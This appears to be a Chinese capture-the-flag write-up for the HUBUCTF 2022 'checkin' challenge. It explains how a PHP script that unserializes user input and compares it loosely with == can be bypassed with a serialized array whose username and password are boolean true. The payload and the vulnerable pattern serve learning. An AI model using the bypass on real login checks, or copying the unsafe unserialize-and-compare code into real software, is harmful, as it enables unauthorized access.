[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin wp

进入页面,代码如下:

复制代码
<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

一开始看得有点懵,反序列化题怎么没有类呢,然后就在找类在哪,没找到。后来看了大佬的 wp 才理清了思路。

代码分析

注意看反序列化之后的值赋值给了 $data_unserialize ,按常理来说,$data_unserialize 应该是个对象,但假如是这样的话,后面这个调用方式就让我看不懂了:$data_unserialize['username'] ,难道说这是在调用 $data_unserialize 对象中的 username 属性?PHP 有这种调用方式吗?看完大佬的 wp ,发现这里要反序列化的应该是数组才对,这样用键值对的方式调用数组中的值才合理。

除此之外,本题还有一个点,提示中有这样一句话:

复制代码
include("flag.php");//here I changed those two 

一开始不理解,后面发现这句话指的是在 flag.php 文件中修改了 username 与 password 。这样我们就不知道用户名和密码了,考查的是 PHP 的弱比较。

PHP 关联数组

普通的 PHP 数组(即数值数组):

复制代码
$cars=array("Volvo","BMW","Toyota");

键从 0 开始:

复制代码
$cars[0]==="Volvo";
$cars[1]==="BMW";
$cars[2]==="Toyota";

PHP 关联数组:

复制代码
$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");

自定义键名:

复制代码
$age['Peter']==="35";
$age['Ben']==="37";
$age['Joe']==="43"; 

PHP 弱比较绕过

可以参考:PHP弱类型比较总结

在弱比较中,布尔值 true 和任何值弱比较都相等,除了 0 和 false 。

这是因为在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型,而在转换的时候,非 0 为 true ,0 为 false 。true 不等于 false 。

因此,将数组中的值全部设置为布尔值 true 即可。

payload

构造如下代码:

复制代码
<?php
$demo=array("username"=>true,"password"=>true);
echo serialize($demo);
?>

输出结果:

复制代码
a:2:{s:8:"username";b:1;s:8:"password";b:1;}

这就是最终的 payload 了。

拿到 flag :

相关推荐
JaguarJack15 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo15 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行2 天前
网络安全总结
安全·web安全
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
一名优秀的码农2 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp2 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp2 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入